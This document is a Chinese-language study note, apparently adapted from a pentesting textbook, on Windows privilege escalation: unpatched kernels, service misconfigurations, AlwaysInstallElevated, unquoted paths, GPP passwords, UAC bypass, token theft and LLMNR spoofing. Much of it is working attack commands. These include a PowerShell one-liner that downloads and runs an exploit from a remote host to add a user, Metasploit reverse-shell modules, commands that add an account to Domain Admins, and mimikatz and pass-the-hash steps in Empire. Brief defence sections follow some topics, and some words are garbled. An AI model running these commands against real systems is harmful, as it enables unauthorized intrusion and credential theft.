第四章——權限提升分析及防御
目錄
4.4.4Nishang中的Invoke-PsUACme模塊(/nishang/Escalation/Invoke-PsUACme.ps1)
4.5.5針對令牌動取提權的防御措施針對令牌竊取提權的防御措施如下
第4章權限提升分析及防御
在 Windows中,權限大概分為四種、分別是User、Administrator、System、TrustedInstaller。在這四種權限中,我們經常接觸的是前三種。第四種權限 TrustedInstaller,在常規使用中通常不會涉及。
- User:普通用戶權限,是系統中最安全的權限(因為分配給該組的默認權限不允許成員修改操作系統的設置或用戶資料)。
- Administrator:管理員權限。可以利用Windows 的機制將自己提升為Svstem權限,以便操作SAM文件等。
- System:系統權限。可以對SAM等敏感文件進行讀取,往往需要將Administrator權限提升到System權限才可以對散列值進行Dump操作。
- TrustedInstaller:Windows中的最高權限。對系統文件,即使擁有System權限也無法進行修改。只有擁有TrustedInstaller權限的用戶才可以修改系統文件。
低權限級別將使滲透測試受到很多限制。在Windows中,如果沒有管理員權限,就無法進行獲取散列值、安裝軟件、修改防火牆規則、修改注冊表等操作。Windows操作系統中管理員賬號的權限,以及 Linux操作系統中root賬戶的權限,是操作系統的最高權限。提升權限(也稱提權)的方式分為以下兩類。
- 縱向提權:低權限角色獲得高權限角色的權限。例如,一個 WebShell權限通過提權,擁有了管理員權限,這種提權就是縱向提權,也稱作權限升級。
- 橫向提權:獲取同級別角色的權限。例如,在系統A中獲取了系統B的權限,這種提權就屬於橫向提權。
常用的提權方法有系統內核溢出漏洞提權、數據庫提權、錯誤的系統配置提權、組策略首選項提權、Web 中間件漏洞提權、DLL 劫持提權、濫用高權限令牌提權、第三方軟件/服務提權等。
4.1.1通過手動執行命令發現缺失補丁
1.通過whoami/groups查看當前權限
2.1查看系統補丁
-
systeminfo
-
Wmic qfe get Caption,Description,HotFixID,InstalledOn
對系統補丁包進行過濾,查找指定補丁
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"kb3143141" /C:"KB976902"
如果目標機器存在MS16-032(KB3139914)漏洞,可以通過metasploit或者powershell下的Invoke-MS16-032.ps1腳本進行提權,通過ps腳本可以執行任意程序,且可以帶參數執行,無彈窗
-
PS C:\Users\q\Desktop> ..\Invoke-MS16- 032.ps1
-
PS C:\Users\q\Desktop> Import-Module .\Invoke-MS16- 032.ps1
-
PS C:\Users\q\Desktop> Invoke-MS16-032 -Application cmd.exe -Commandline "/c net user 1 1 /add"
-
-
PS C:\Users\q\Desktop> Invoke-MS16-032 -Application notepad.exe #打開記事本程序
-
powershell -nop - exec bypass -c "IEX (NEW-Object Net.WebClient).DownloadString('http://1.1.1.6/a.txt');Invoke-MS16-032 -Application cmd.exe -commandline '/c net user 2 test /add'" #遠程下載,提權,添加用戶
2.2利用msf發現缺失補丁
-
msf6 exploit(windows/smb/ms17_010_eternalblue) > use post/windows/gather/enum_patches
-
msf6 post(windows/gather/enum_patches) > show options
-
msf6 post(windows/gather/enum_patches) > run
3.Windows Exploit Suggester
-
https:/ /github.com/AonCyberLabs/Windows-Exploit-Suggester
-
-
┌──(root💀kali)-[ /home/kali /Downloads/Windows-Exploit-Suggester-master]
-
└─ # ./windows-exploit-suggester.py --update
-
┌──(root💀kali)-[ /home/kali /Downloads/Windows-Exploit-Suggester-master]
-
└─ # pip install xlrd --upgrade
-
┌──(root💀kali)-[ /home/kali /Downloads/Windows-Exploit-Suggester-master]
-
└─ # ./windows-exploit-suggester.py -d 2020-12-23-mssb.xls -i patches.txt
4.powershell 中的Sherlock腳本
-
PS C:\Users\q\Desktop > Import - Module .\Sherlock.ps1
-
PS C:\Users\q\Desktop > Find -AllVulns
5.通過cs中的elevate提權
-
getuid
-
elevate uac-token-duplication
-
elecate svc-exe
4.2widnows操作系統配置錯誤利用分析及防范
1.PowerUp下的實戰利用
-
在滲透測試中可以執行以下兩條命令
-
powershell.exe - exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
-
powershell -nop - exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://1.1.1.6/powersploit/Privesc/PowerUp.ps1'); Invoke-AllChecks"
-
-
PS C:\Users\q\Desktop> powershell.exe - exec bypass "IEX (New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1');Invoke-AllChecks" #將powerup上傳至目標服務器,執行此命令
-
-
powershell.exe - exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}" #cmd命令行下執行
利用服務漏洞添加用戶(未添加成功)
PS C:\Users\q\Desktop> powershell.exe -exec bypass "IEX (New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1');Install-ServiceBinary -ServiceName 'MozillaMaintenance' -UserName firefox -Password 123"
2.Metasploit下的實戰利用
在Metasploit應用模塊是service_permissions。選擇“AGGRESSIVE”選項,可以利用目標機每一個有缺陷的服務。該選項被禁用時,該模塊在第一次提權成功后就會停止工作
service_permissions模塊使用兩種方法來獲得System權限:如果meterpreter 以管理員權限運行,該模塊會嘗試創建並運行一個新的服務;如果當前權限不允許創建服務,該模塊會判斷哪些服務的文件或者文件夾的權限有問題,並允許對其進行劫持。在創建服務或者劫持已經存在的服務時,該模塊會創建一個可執行程序,其文件名和安裝路徑都是隨機的。
-
msf6 > use exploit /windows / local /service_permissions
-
[ *] Using configured payload windows /x64 /meterpreter /reverse_tcp
-
msf6 exploit(windows / local /service_permissions) > show options
-
msf6 exploit(windows / local /service_permissions) > set LHOST 1.1 .1 .5
-
LHOST = > 1.1 .1 .6
-
msf6 exploit(windows / local /service_permissions) > set SESSION 3
-
SESSION = > 3
-
msf6 exploit(windows / local /service_permissions) > run #執行后會自動反彈一個新的meterpreter( system)權限
4.2.2注冊表鍵AlwasIstallElevated
注冊表鍵AlwaylanalElvated是一個策略設置項。Windows 允許低權限用戶以System權限運行安裝文件。如果啟用此策略設置項,那么任何權限的用戶都能以NT AUTHORITY\SYSTEM權限來安裝惡意的MSI文件。
1.PathsAlwaysInstallElevated漏洞產生的原因
該漏洞產生的原因是用戶開啟了Windows Installer特權安裝功能
在“運行”設置櫃中輸入"gpedit.msc",打開組策略編輯器。
- 組裝略——計算機配置——管理模板——Windows組件——Windows Insaller——永遠以高特權進行安裝:選擇啟用。
- 組策略——用戶配置-——管理模板——Windows組件——Windows Intaller——永遠以高特權進行安裝:選擇啟用。
設置完畢,會在注冊表的以下兩個位置自動創建鍵值“1”。
- HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstall Elevated
- HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstall Elevated
2. Windows Installer的相關知識點
Install是Windows 操作系統的組件之一, 專門用來管理和配置軟件服務。Windows Installer 除了是一個安裝程序,還用於管理軟件的安裝管理軟件組件的添加和刪除,監視文件的還原、通過回滾進行災難恢復等。
Windowrs Installer分為客戶端安裝服務(Msiexec.exe)和MSI文件兩部分。Windows Installer通過Msiexec.exe安裝MSI文件包含的程序。MSI文件是Windows Installer的數據包,它實際上是一個數據庫,包含安裝和卸載軟件時需要的大量指令和數據。Msiexec.exe用於安裝MSI文件,一般在運行Microsoft Update安裝更新或者安裝一些軟件的時候使用,占用內存較多。簡單來說,雙擊MSI文件就會運行Msiexec.exe。
3.PowerUp下的實戰使用
可以使用PowerUp的Get-RsigtyswiylstnlElvatee模塊來檢查注冊表鍵是否被設置。如果AlwaysInstallElevated注冊表鍵已經被設置,就意味着MSI文件是以System 權限運行的。
-
C:\> powershell -nop - exec bypass IEX (New-Object Net.WebClient).DownloadString( 'c:/PowerUp.ps1');Get-RegistryAlwaysInstallElevated #運行該模塊,True代表已經設置。
-
-
PS C:\> Write-UserAddMSI #管理員權限運行
-
PS C:\> msiexec /q /i UserAdd.msi #普通用戶權限運行
-
/quiet 在安裝過程中禁止向用戶發送消息
-
/qn 不使用GUI
-
/i 安裝程序
-
也可以利用Msf的use exploit/windows/local/always_install_elevated完成上述操作
4.2.3可信任服務路徑漏洞
可信任服務路徑(包含空格且沒有引號的路徑)漏洞利用了Windows 文件路徑解析的特性並涉及服務路徑的文件/文件夾權限(存在缺陷的服務程序利用了屬於可執行文件的文件/文件夾的權限)。如果-個服 務調用的可執行 文件沒有正確地處理所引用的完整路徑名, 這個漏洞就會被攻擊者用來上傳任意可執行文件。也就是說,如果一個服務 的可執行文件的路徑沒有被雙引號引起來且包含空格,那么這個服務就是有漏洞的。
該漏洞存在如下兩種可能
- 如果路徑與服務有關,就任意創建一個服務或者編譯Sericce模板。
- 如果路徑與可執行文件有關,就任意創建個可執行文件。
1. Trusted Service Paths漏洞產生的原因
因為windows服務通常都是以System權限運行的,所以系統在解析服務所對應的文件路徑中的空格時,也會以系統權限進行。
例如,有一個文件路徑"C:\Program Files\ Some Folder\Service.exe",對於該路徑中的每一個空格,Windows 都會嘗試尋找並執行與空格前面的名字相匹配的程序。操作系統會對路徑中空格的所有可能情況進行嘗試,直至找到一個能夠匹配的程序。
在本例中,Windows 會依次嘗試確
- C:\Program.exe
- C:\Program Files\ Some.exe
- C:\Program Files\ Some Folder\Service.exe
因此,如果一個被“適當”命名的可執行程序被上傳到可受影響的目錄中,服務一旦重啟,該程序就會以Syten權限運行(在大多數情況下),
2. Metasploit 下的實戰利用
首先,檢測目標機器中是否存在該漏洞。使用wmic查詢命令,列出目標機器中所有沒有被引號引起來的服務路徑。
-
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v "" "
-
icacls "存在雙引號的服務路徑 " #查看權限
-
Everyone: 用戶對這個文件夾有完全控制權限。也就是說,所有用戶都具有修改這個文件夾的權限。
-
(M):修改。
-
(F): 完全控制。
-
(CI): 從屬容器將繼承訪問控制項。
-
(OI): 從屬文件將繼承訪問控制項。
-
"Everyone:(ODCDXF) "的意思是,對該文件夾,用戶有讀、寫、刪除其下文件、刪除其子目錄的權限。
-
-
確認目標機器中存在此漏洞后,把要上傳的程序重命名並放置在存在此漏洞且可寫的目錄下,執行如下命令,嘗試重啟服務。
-
sc stop service name
-
sc start service name
也可以使用msf中的WINDOWS Service Trusted Path Privilege Escalation模塊進行滲透測試。該模塊會將可執行程序放到受影響的文件夾中,然后講受影響的服務重啟
-
msf6 > use exploit/windows/local/unquoted_service_path
-
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
-
msf6 exploit(windows/local/unquoted_service_path) > set SESSION 5
-
SESSION => 5
-
msf6 exploit(windows/local/unquoted_service_path) > set LHOST 1.1.1.5
-
LHOST => 1.1.1.5
-
msf6 exploit(windows/local/unquoted_service_path) > run #命令執行后,反彈一個新的meterpreter,但是反彈的會很快終端,需遷移進程
-
-
在滲透測試中,需要在終止載荷進程之前將它遷移到其他進程中,可以使用“ set AutoRunScript migrate -f "命令自動遷移進程
4.2.4自動安裝配置文件
網絡管理員在內網中配置同一個環境是,通常會采用腳本化批量部署。在這個過程中,會使用配置文件。這些文件可能包含本地管理員賬戶密碼信息。這些文件列舉如下
- C:\sysprep.inf
- C:\sysprep\sysprep.xml
-
也可以執行如下命令,搜索Unattend.xml文件
-
dir /b /s c:\Unattend.xml
Metasploit集成了該漏洞的利用模塊post/windows/gather/enum_unattend
-
msf6 > use post /windows /gather /enum_unattend
-
[ *] Using configured payload windows /x64 /meterpreter /reverse_tcp
-
msf6 post(windows /gather /enum_unattend) > show options
-
-
Module options (post /windows /gather /enum_unattend):
-
-
Name Current Setting Required Description
-
---- --------------- -------- -----------
-
GETALL true yes Collect all unattend.xml that are found
-
SESSION yes The session to run this module on.
-
-
msf6 post(windows /gather /enum_unattend) > set SESSION 5
-
SESSION = > 5
-
msf6 post(windows /gather /enum_unattend) > run
4.2.5計划任務
schtasks /query /fo LIST /v #查看計算機計划任務
AccsChk是Syslnteraks 套件中的一個工具,由Mnk Rusnoih編寫用於在Wndows中進行一些系統或程序的高級查詢、管理和故障排除工作,基於殺毒軟件的檢測等,攻擊者會盡量避免接觸目標機器的磁盤。而AcsCce是微軟官方提供的工具,一般不會引起殺毒軟件的報警,所以經常會被攻擊者利用。
執行如下命令,查看指定目錄的權限配置情況。如果攻擊者對以高權限運行的任務所在的目錄具有寫權限,就可以使用惡意程序覆蓋原來的程序。這樣,在計划任務下次執行時,就會以高權限來運行惡意程序。
accesschk.exe -dqv "C:\Microsoft" -accepteula
下面是幾個常用的AccessChk命令。
-
第一次運行Sysntemals工具包里的工具時,會彈出一個許可協議對話框。在這里,可以使用參數/accepteula自動接受許可協議,命令如下。
-
accesschk.exe /accepteula
-
-
列出某個驅動器下所有權限配置有缺陷的文件夾,命令如下。
-
accesschk.exe -uwdqsUsersc:\
-
accesschk.exe -uwdqg "AuthenticatedUsers"c:\
-
-
列出某個驅動器下所有權限配置有缺陷的文件,命令如下。
-
accesschk.exe -uwqsUsersc:\*.*
-
accesschk.exe -uwqs "AuthenticatedUsers"c:\*.*
4.2.6Empire內置模塊
Empire內置了PowerUp的部分模塊
-
usemodule privesc/powerup Tab #查看模塊列表
-
usemodule privesc/powerup/allchecks
-
execute
-
AllChecks模塊的應用對象如下
-
沒有被引號引起來的服務的路徑。
-
ACL配置錯誤的服務(攻擊者通常通過“service_*”利用它)。
-
服務的可執行文件的權限設置不當(攻擊者通常通過“service_exe_*”利用它)。
-
Unattend.xml 文件。
-
注冊表鍵AlwaysInstallElevated。
-
如果有Autologon 憑證,都會留在注冊表中。
-
加密的web.config字符串和應用程序池的密碼。
-
%PATH%.DLL的劫持機會(攻擊者通常通過 write_dllhijacker利用它).
4.3 組策略首選項提權分析及防范
4.3.1 組策略首選項提權簡介
SYSVOL是活動目錄里面的一個用於存儲域公共文件服務器副本的共享文件夾,在域中的所有域控制器之間進行復制。SYSVOL文件夾是在安裝活動目錄時自動創建的,主要用來存放登錄腳本、組策略數據及其他域控制器需要的域信息等。SYSVOL在所有經過身份驗證的域用戶或者域信任用戶具有讀權限的活動目錄的域范圍內共享。整個SYsVOL目錄在所有的域控制器中是自動同步和共享的,所有的域策略均存放在C:Windows\SYSVOL\DOMAIN\Policicsl目錄中。
在一般的域外現中,所月機宿都是腳本化批量部署的,數據量通常很大。為了方便地對所有的機器進仃探IP,的上符胡比工公使用域策略進行統一的配置和管理。大多數組織在創建域環境后,會要求加入域的計算機使用域用戶密碼進行登錄驗證。為了保證本地管理員密碼的安全性,這些組織的網絡管理員修改本地管理員密碼。盡管如此,安全問題依舊存在。通過組策略統一修改的密碼,雖然強度有所提高,但所有機器的本地管理員密碼是相同的。攻擊者獲得了一台機器的本地管理員密碼,就相當於獲得了整個域中所有機器的本地管理員密碼。
常見的組策略首選項(Group Policy Preferences,GPP)列舉如下
- 映射驅動器(Drives.xml )。
- 創建本地用戶。
- 數據源(DataSources.xml )
- 打印機配置(Printers.xml )
- 創建/更新服務((Services.xml )
- 計划任務(ScheduledTasks.xml )
4.3.2組策略首選項提權分析
1、前提:管理員通過組策略統一修改過密碼
在域控上執行:開始——>運行——>輸入gpmc.msc——>選擇test.com——>右鍵組策略對象——>新建一個test組策略——>彈出一個組策略管理編輯器,然后計算機配置——>首選項——>控制面板設置—本地用戶和組 右鍵本地用戶和組——>新建——>本地用戶
gpupdate #域中的機器從域控制器處獲得組策略的更新信息
2.獲取組策略的憑據
管理員在域中新建一個組策略后,操作系統公日動在 SYSVOL 共享目錄中生成一個 XML文件,該文件中保存了該組策略更新后的出調。該密碼使用 AES-256加密算法,安全性還是比較高的。但是,2012年微軟在官方網站公布了密碼的私鑰,因此保存在XML文件中的密碼的安全性大大降低。任何域用戶和域信仕的用屍均可對該共享目標進行訪問,這就意味着,任何用戶都可以訪問保存在XML文件中的密碼開將解密,從而域控中所有使用該賬戶/密碼的本地管理員計算機。在SYSVOL中搜索,可以找到包含cpassword 的 XML文件。
(1)手動查找cpassword
瀏覽SYSVOL文件夾,獲取相關文件
-
type \\dc\sysvol\pentest.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
-
-
python gpprefdecrypt.py LdN1Ot2OIIjsc/e+nROCMw #解密
2.使用powershell獲取cpassword
-
powersploit提供了 Get-GPPPassword.ps1腳本,將腳本導入系統
-
PS: Get-GPPPassword
3.使用Metasploit查找cpassword
-
msf6 exploit(windows/smb/ms17_010_eternalblue) > use post/windows/gather/credentials/gpp
-
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
-
msf6 post(windows/gather/credentials/gpp) > show options
-
msf6 post(windows/gather/credentials/gpp) > set SESSION 6
-
SESSION => 6
-
msf6 post(windows/gather/credentials/gpp) > run
4.使用Empire查找cpassword
-
usemodule privesc /gpp
-
info
-
execute
除了Groups.xml是幾個組策略首選項文件中有可選的cpassword 屬性,列舉如下
- Services\Scrvices.xml
- scheduledTasks\ScheduledTasks.xml.
- Printers\Printers.xml
- Drives\Drives.xml
- DataSources\DataSources.xml
4.3.3 針對組策略首選項提權的防御措施
在用於管理組策略的計算機上安裝KB2962486補丁,防止新的憑據被放置在組策略首選項中。微軟在2014年修復了組策略首選項提權漏洞,使用的方法就是不再將密碼保存在組策略首選項中。
此外,需要對 Everyone 訪問權限進行設置,具體如下
- 設置共享文件夾SYSVOL的訪問權限。
- 將包含組策略密碼的XML文件從SYsVOL目錄中刪除
- 不要把密碼放在所有域用戶都有權訪問的文件中
- 如果需要更改域中機器的本地管理員密碼,建議使用LAPS
4.4 繞過UAC提權分析及防范
如果計算機的操作系統版本是Windows Vista或更高,在權限不夠的情況下,訪問系統磁盤的根目錄(例如C:) Windows目錄、Program Files目錄,以及讀、寫系統登錄數據庫(Registry)的程序等操作,都需要經討UAC (User Account Control,用戶賬戶控制)的認證才能進行。
4.4.1 UAC簡介
UAC是微軟為提高系統安全性在Windows Vista中引入的技術。UAC要求用戶在執行可能影響計算機運行的操作或者在進行可能影響其他用戶的設置之前,擁有相應的權限或者管理員密碼。UAC在操作啟動前對用戶身份進行驗證,以避免思意軟件和間諜軟件在未經許可的情況下在計算機上進行安裝操作或者對計算機設詈進行更改。在Windows Vista及更高版本的操作系統中,微軟設置了安全控制策略,分為高、中、低三個等級。高等級的進程有管理員權限,中等級的進程有普通用戶權限;低等級的進程,權限是有限的,以保證系統在受到安全威脅的損害最小。
需要UAC的授權才能進行的操作列舉如下
- 配置Windows Update。
- 增加/刪除賬戶。
- 更改賬戶類型。
- 更改UAC的設置。
- 安裝ActiveX。
- 安裝/御載程序。
- 安裝設備驅動程序。
- 將文件移動/復制到Program Files或Windows目錄下。
- 查看其他用戶的文件夾。
UAC有如下四種設置要求。
- 始終通知:這是最嚴格的設置,每當有程序需要使用高級別的權限時都會提示本地用戶。
- 僅在程序試圖更改我的計算機時通知我:這是UAC的默認設置。當本地 Windows程序要使用高級別的權限時,不會通知用戶。但是,當第三方程序要使用高級別的權限時,會提示本地用戶。
- 僅在程序試圖更改我的計算機時通知我(不降低桌面的亮度):與上一條設置的要求相同,但在提示用戶時不降低桌面的亮度。
- 從不提示:當用戶為系統管理員時,所有程序都會以最高權限運行
4.4.2 bypassuac模塊
假設獲取了目標機器的Meterpreter shell ,當前權限為普通用戶權限,現在嘗試系統的System權限。
首先,運行exploit/windows/local/bypassuac模塊,獲得一個新的meterpreter Shel。然后,執行“getsystem”命令。再次查看權限,發現已經繞過UAC,獲得了Svstem權限。
在使用bypassuac模塊提權時,當前用戶必須在管理員組中,且UAC必須為默認設置。
當bypassuac模塊運行時,會在目標機上創建多個文件,這些文件會被殺毒軟件識別。但因為exploit/windows/local/bypassuac_injecton模塊直接運行在內存的反射DLL中,所以不會接觸目標機器的硬盤,從而降低了被殺毒軟件檢測出來的概率。
-
msf6 > use exploit /windows / local /bypassuac
-
[ *] Using configured payload windows /x64 /meterpreter /reverse_tcp
-
msf6 exploit(windows / local /bypassuac) > show options
4.4.3RunAs模塊
使用exploit/windows/local/ask模塊,創建一個可執行文件,目標機器上會運行一個發起提升權限請求的程序,提示用戶是否要繼續運行,如果用戶選擇繼續運行程序,就會返回一個高權限的meterpreter shell
-
要想使用該模塊提權,當前用戶必須在管理員組或者知道管理員的密碼,對UAC的設置無要求,在使用RunAs模塊時,需要使用EXE:Custom選項創建一個可執行文件(需進行免殺處理)
-
msf6 > use exploit /windows / local /ask
-
[ *] Using configured payload windows /x64 /meterpreter /reverse_tcp
-
msf6 exploit(windows / local /ask) > show options
-
msf6 exploit(windows / local /ask) > set SESSION 6
-
SESSION = > 6
-
msf6 exploit(windows / local /ask) > set LHOST 1.1 .1 .5
-
LHOST = > 1.1 .1 .5
-
msf6 exploit(windows / local /ask) > run
-
-
getuid
-
getsystem
4.4.4Nishang中的Invoke-PsUACme模塊(/nishang/Escalation/Invoke-PsUACme.ps1)
-
PS C:\Users\q\Desktop > Import - Module .\Invoke -PsUACme.ps1
-
PS C:\Users\q\Desktop > Invoke -PsUACme -Verbose
-
PS C:\Users\q\Desktop > Invoke -PsUACme - method oobe -Verbose
-
PS C:\Windows\temp > Invoke -PsUACme - method oobe -Payload "powershell -windowstyle hidden -e mypayload"
-
-
除此之外,可以使用 -PayloadPath參數指定payload路徑,使用 -CustomDll64或 -CustomDLL32參數,可以自定義DLL文件
4.4.5Empire中的bypassuac模塊
-
1.bypassuac模塊
-
usemodule privesc/bypassuac #設置監聽參數
-
execute
-
-
2.bypassuac_wscript模塊
-
usemodule privesc/bypassuac_wscript
-
set Listener lab
-
execute #帶*的角色提權成功
4.4.6針對繞過UAC提權的防御措施
在企業網絡環境中,防止繞過UAC的最好的方法是不讓內網機器的使用者擁有本地管理員權限,從而降低系統遭受攻擊的可能性。在家庭網絡環境中,建議使用非管理員權限進行日常辦公和娛樂等活動。使用本地管理員權限登錄的用戶,要將UAC設置為“始終通知”或者刪除該用戶的本地管理員權限(這樣設置后,會像在 Windows Vista中一樣,總是彈出警告)。另外,可以使用微軟的EMET 或MalwareBytes來更好地防范0day漏洞。
4.5令牌竊取分析及防范
令牌(Token)是指系統中的臨時密鑰,相當於賬戶和密碼,用於決定是否允許當前請求及判斷當前請求是屬於哪個用戶的。獲得了令牌,就可以在不提供密碼或其他憑證的情況下訪問網絡和系統資源。這些令牌將持續存在干系統中(除非系統重新啟動)。令牌的最大特點是隨機性和不可預測性。一般的攻擊者或軟件都無法將令牌猜測出來。訪問令牌(Access Token )代表訪問挖制損作主休的系統對象。密保令牌(Security Token )也叫作認證令牌或者硬件令牌,是一種用干實現計管機身份校驗的物理設備,例如U盾。會話令牌(SessionToken)是交互會話中唯一的身份標識符。偽造令牌攻擊的核心是Kerheros協議, Kerberos是一種網絡認證協議,其設計目標是通過密鑰系統為客戶機/服務器應用程序提做強大的認證服務。Kerberos協議的工作機制如下圖所示
客戶端請求證書的過程如下
- 客戶端向認證服務器發送請求,要求得到證書。
- 認證服務器收到請求后,將包含客戶端密鑰的加密證書發送給客戶端。該證書包含服務器Ticket(包含由服務器密鑰加密的客戶機身份和一份會話密鑰)和一個臨時加密密鑰(又稱為會話密鑰,Session Key)。當然,認證服務器也會向服務器發送一份該證書,使服務器能夠驗證登錄的客戶端的身份。
- 客戶端將Ticket傳送給服務器。如果服務器確認該客戶端的身份,就允許它登錄服務器。
客戶端登錄服務器后,攻擊者就能通過入侵服務器來竊取客戶端的令牌。
4.5.1假冒用戶令牌
假設已經獲得了目標機器的 meterpreter Shell。首先輸入“use incognito”命令,然后輸人“list_tokens -u”命令,列出可用的令牌
-
meterpreter > use incognito
-
meterpreter > list_tokens -u
-
-
這里有兩種類型的令牌:一種是Delegation Tokens,也就是授權令牌,它支持交互式登錄(例如,可以通過遠程桌面登錄及訪問);另一種是Impersonation Tokens,也就是模擬令牌,它支持非交互式的會話。令牌的數量其實取決於meterprcter shell的訪問級別,假設已經獲得了一個系統管理員的授權令牌,如果攻擊者可以偽造這個令牌,便可以擁有它的權限。
meterpreter > impersonate_token WIN7\\q #在incognito中調用inpersonate_token,假冒用戶q進行測試,WIN7是機器名,q為用戶名,中間需要\\隔開
4.5.2 Rotten Potato本地提權分析
如果目標系統中存在有效的令牌,可以通過Rotten Potato程序快速模擬用戶令牌來實現權限的提升。首先輸入“use incognito”命令,然后輸入“list_tokens -u”命令,列出可用的令牌
下載完成后,RottenPotato目錄下會有一個rottenpotato.exe可執行文件。執行如下命令,將 rottenpotatocxe上傳列日標機器中
-
meterpreter > upload /home/kali/Downloads/rottenpotato.exe
-
meterpreter > use incognito
-
meterpreter > list_tokens -u
-
meterpreter > execute -HC -f rottenpotato.exe
-
meterpreter > impersonate_token "NT AUTHORITY\SYSTEM"
4.5.3添加域管理員
在meterpreter會話中使用ps命令查找域管理進程,並使用migrate命令遷移到該進程,進入shell
-
net user sec 123456Bo /ad /domain #添加域用戶
-
net group "domain admins" sec /ad /domain #添加到域管理員組
-
net group "domain admins" /domain #查看域管理員組
-
-
同樣在meterpreter中可以使用incognito來模擬域管理員,然后通過迭代系統中所有可用的身份驗證令牌來太添加域管理員
-
add_user sec 12345Bo -h 1.1.1.8
-
net group "domain admins" sec -h 1.1.1.8
4.5.4Empire下的令牌竊取
-
(Empire: listeners) > uselistener http
-
(Empire: listeners/http) > info
-
(Empire: listeners/http) > set Host http://1.1.1.6
-
(Empire: listeners/http) > set Port 8888
-
(Empire: listeners/http) > set Name sec
-
(Empire: listeners/http) > execute
-
(Empire: listeners) > launcher powershell sec
-
-
(Empire: agents) > interact N78Z9653
-
(Empire: N78Z9653) > mimikatz
-
(Empire: N78Z9653) > creds
-
(Empire: N78Z9653) > pth 2
-
(Empire: N78Z9653) > revtoself #恢復令牌權限
-
-
4.5.5針對令牌動取提權的防御措施針對令牌竊取提權的防御措施如下
- 及時安裝微軟推送的補丁。
- 對來路不明的或者有危險的軟件,既不要在系統中使用,也不要在虛擬機中使用。
- 對令牌的時效性進行限制,以防止散列值被破解后泄露有效的令牌信息。越敏感的數據,其令牌時效應該越短。如果每個操作都使用獨立的令牌,就可以比較容易地定位泄露令牌的操作或環節。
- 對於令牌,應采取加密存儲及多重驗證保護。
- 使用加密鏈路SSL/TLS傳輸令牌,以防止被中間人竊聽。
4.6無憑證條件下的權限獲取分析及防范
在本節的實驗中,假設已經進入目標網絡,但沒有獲得任何憑證,使用LLMNR 和NetBIOS欺騙攻擊對目標網絡進行滲透測試。
4.6.1 LLMNR 和 NetBIOS欺騙攻擊的基本概念
1.LLMNR
本地鏈路多播名稱解析(LLMNR)是一種域名系統數據包格式。當局域網中的DNS服務器不可用時,DNS客戶端會使用LLMNR解析本地網段中機器的名稱,直到 DNS服務器恢復正常為止。從 Windows Vista版本開始支持LLMNR。LLMNR支持IPv6。
LLMNR的工作流程如下:
- DNS客戶端在自己的內部名稱緩存中查詢名稱。
- 如果沒有找到,主機將向主 DNS發送名稱查詢請求。
- 如果主DNS沒有回應或者收到了錯誤的信息,主機會向備DNS發送查詢請求。
- 如果備DNS沒有回應或者收到了錯誤的信息,將使用LLMNR進行解析。
- 主機通過UDP協議向組播地址224.0.0.252的5355端口發送多播查詢請求,以獲取主機名所對應的P地址。查詢范圍僅限於本地子網。
- 本地子網中所有支持 LLMNR 的主機在收到查詢請求后,會對比自己的主機名。如果不同,就丟棄;如果相同,就向查詢主機發送包含自己IP地址的單播信息。
2.NetBIOS
NetBIOS是一種網絡協議,一般用在由十幾台計算機組成的局域網中(根據NetBIOS協議廣播獲得計算機名稱,並將其解析為相應的IP地址)。在Windows NT 以后版本的所有操作系統中均可使用NetBIOS。但是,NetBIOS不支持IPv6。
NetBIOS提供的三種服務如下。
- NetBIOS-NS(名稱服務):主要用於名稱注冊和解析,以啟動會話和分發數據包。該服務需要使用域名服務器來注冊NetBIOS 的名稱,默認監聽UDP137端口,也可以使用TCP137端口。
- Datagram Distribution Service(數據報分發服務):無連接服務。該服務負責錯誤檢測和恢復,默認監聽UDP 138端口。
- Session Service(會話服務):允許兩台計算機建立連接,允許電子郵件跨越多個數據包進行傳輸,提供錯誤檢測和恢復機制。默認使用 TCP 139端口。
3. Net-NTLM Hash
Net-NTLM Hash與 NTLM Hash不同。
NTLM Hash是指Windows操作系統的Security Account Manager中保存的用戶密碼散列值。NTLMHash通常保存在Windows的SAM文件或者NTDS.DIT數據庫中,用於對訪問資源的用戶進行身份驗證。
Net-NTLM Hash是指在網絡環境中經過NTLM認證的散列值。挑戰/響應驗證中的“響應”就包含Net-NTLM Hash。使用Responder抓取的通常就是Net-NTLM Hash。攻擊者無法使用該散列值進行哈希傳遞攻擊,只能在使用Hashcat等工具得到明文后進行橫向移動攻擊。
4.6.2 LLMNR和 NetBIOS欺騙攻擊分析
假設目標網絡的 DNS服務器因發生故障而無法提供服務時,會退回 LLMNR和 NBT-NS進行計算機名解析。下面使用Responder 工具進行滲透測試。
Responder 是監聽 LLMNR和 NBT-NS協議的工具之一,能夠抓取網絡中所有的 LLMNR和NBT-NS 請求並進行響應,獲取最初的賬戶憑證。
Responder可以利用內置SMB認證服務器、MSSQL認證服務器、HTTP認證服務器、HTTPS認證服務器、LDAP認證服務器、DNS服務器、WPAD代理服務器,以及FTP、POP3、IMAP、SMTP等服務器,收集目標網絡中計算機的憑據,還可以通過Multi-Relay 功能在目標系統中執行命令。
1.下載和運行
Responder是使用Python語言編寫的。
-
git clone https://github.com/SpiderLabs/Responder.git
-
┌──(root💀kali)-[/home/kali]
-
└─ # responder -I eth0
2.滲透測試
在使用 Responder對網絡進行分析之后可以利用SMB協議獲取目標網絡中計算機的 Net-NTLM Hash。如果用戶輸入了錯誤的計算機名在DNS服務器上進行的名稱查詢操作將會失敗,名稱解析請求將被退回,使用NBT-NS和LLMNR進行解析。
在滲透測試中,使用Responder 開啟回應請求功能,Responuer會自動回應客戶端的請求並聲明自己就是被輸人了錯誤計算機名的那台機器,然石嘗試建立SMB連接。客戶端項發送自已的Nt-NTeLM Hash進行身份驗證,此時將得到目標機器的Net-NTLM Hash
3.使用hashcat進行破解
